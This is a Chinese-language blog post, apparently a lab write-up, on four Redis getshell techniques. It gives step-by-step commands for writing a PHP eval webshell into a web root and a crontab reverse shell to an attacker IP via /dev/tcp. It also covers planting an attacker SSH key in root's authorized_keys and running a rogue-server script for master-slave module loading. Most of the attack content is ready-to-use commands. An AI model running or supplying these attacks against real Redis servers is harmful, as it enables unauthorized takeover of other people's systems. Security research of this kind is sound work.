Redis数据库四种getshell方法研究

一、直接写入webshell

前置条件:已经目标网站的服务路径。(通常利用网站根目录,确保shell文件能被解析)。

步骤如下:

php 复制代码
1.查看 Redis 当前的 dir 配置
CONFIG GET dir
2.修改 dir 为 Nginx 网页根目录
CONFIG SET dir /usr/share/nginx/html
3.修改 RDB 持久化文件名为 PHP 文件
CONFIG SET dbfilename shell.php
4.写入 PHP 一句话木马
SET webshell "<?php @eval($_POST['cmd']);?>"
5.触发 RDB 持久化
SAVE

本地靶场复现截图:

二、定时任务写入反弹Shell​

通过写入 Linux 定时任务(crontab)实现反弹 Shell。这种方式无需依赖 Nginx/PHP 等 Web 服务,是 Redis 未授权访问攻击中更隐蔽、更通用的手段(适配无 Web 服务的 Redis 服务器)。

核心原理:Linux 系统中,crond 守护进程会每分钟检查 /var/spool/cron/root(root 用户的定时任务文件),执行里面的命令;Redis 利用 CONFIG SET 修改持久化目录为定时任务目录、文件名改为 root,将反弹 Shell 命令写入该文件,系统会自动执行命令,让靶机主动连接攻击机的监听端口,实现控制。

前置条件:能连接上redis数据库。

步骤如下:

php 复制代码
首先在kali开启监听端口:nc -lvvp 6666
然后写入定时任务:
1.	修改持久化目录为 CentOS 定时任务目录
CONFIG SET dir /var/spool/cron/
2.	修改 RDB 文件名为 root(对应 root 用户的定时任务文件) 
CONFIG SET dbfilename root
3.	写入反弹 Shell 定时任务命令
SET cron "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.0.241/6666 0>&1\n"
4.	触发 RDB 持久化(将命令写入 /var/spool/cron/root 文件) 
SAVE

截图:

靶机成功上线

三、写SSH公钥登录服务器​

原理:Linux SSH 公钥认证的核心是「客户端(Kali)的公钥写入服务端(CentOS)/root/.ssh/authorized_keys 文件」,服务端 SSH 服务会验证该文件中的公钥,匹配成功则免密码登录。Redis 利用 CONFIG SET 修改持久化目录为 /root/.ssh/、文件名改为 authorized_keys,将 Kali 的 SSH 公钥写入该文件,从而实现免密码登录。

前置条件:

1.受害机器SSH 服务正常运行

2.Redis有权限写入/root/.ssh/

步骤:

先在攻击机上生成SSH密钥对

php 复制代码
1.ssh-keygen -t rsa  #生成密钥对
2.cat /root/.ssh/id_rsa.pub   #查看

步骤如下:

php 复制代码
1.修改持久化目录为 root 的 .ssh 目录
CONFIG SET dir /root/.ssh/
2.修改 RDB 文件名为 authorized_keys(SSH 公钥认证的核心文件)
CONFIG SET dbfilename authorized_keys
3.写入 Kali 的 SSH 公钥(替换为你复制的公钥内容,保留双引号)
SET sshkey "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQ...省略...w== root@kali\n"
4.触发 RDB 持久化(将公钥写入 /root/.ssh/authorized_keys)
SAVE

注意:

公钥前后加 \n:避免 Redis RDB 二进制头混入公钥文件,确保公钥单独成行(SSH 对 authorized_keys 格式敏感,多余字符会导致认证失败)

截图:

直接ssh连接成功

​​四:Redis主从复制GetShell​

原理:

  • Redis 主从复制:Redis 支持「主节点(master)- 从节点(slave)」架构,从节点会主动同步主节点的所有数据、配置,甚至能向主节点请求「加载自定义模块」;
  • Redis 模块机制 :Redis 4.0+ 新增 MODULE 命令,允许加载 .so 格式的共享库文件(模块),扩展 Redis 原生命令(比如新增 system.exec 命令来执行系统指令)。

核心优势:相比前三种方式,无需依赖 Web/SSH/crond 服务,无需写入文件,仅利用 Redis 自身机制即可 Getshell,隐蔽性拉满。

版本要求:

  • 适用:Redis 4.0.x/ 5.0.x
  • 不适用:Redis 6.0+(新增模块加载权限校验)、7.0+(防护更严格)

这里我看网上有很多教程,有的比较复杂,这里使用一种最简单的,用一位师傅写的脚本来实现一getshell:

php 复制代码
1.克隆到本地
git clone https://github.com/Dliv3/redis-rogue-server.git
2.切换目录
cd redis-rogue-server
3.一键运行脚本
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

--passwd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码

截图:

相关推荐
数智化管理手记6 小时前
精益生产中的TPM管理是什么?一文破解设备零故障的密码
服务器·网络·数据库·低代码·制造·源代码管理·精益工程
翊谦6 小时前
Java Agent开发 Milvus 向量数据库安装
java·数据库·milvus
難釋懷7 小时前
OpenResty实现Redis查询
数据库·redis·openresty
别抢我的锅包肉7 小时前
【MySQL】第四节 - 多表查询、多表关系全解析
数据库·mysql·datagrip
Database_Cool_7 小时前
OpenClaw-Observability:基于 DuckDB 构建 OpenClaw 的全链路可观测体系
数据库·阿里云·ai
菩提小狗7 小时前
每日安全情报报告 · 2026-04-02
网络安全·漏洞·cve·安全情报·每日安全
刘~浪地球8 小时前
Redis 从入门到精通(五):哈希操作详解
数据库·redis·哈希算法
XLYcmy8 小时前
一个针对医疗RAG系统的数据窃取攻击工具
python·网络安全·ai·llm·agent·rag·ai安全
zzh0818 小时前
MySQL高可用集群笔记
数据库·笔记·mysql
汤愈韬8 小时前
网络安全概念及规范_2
网络安全·security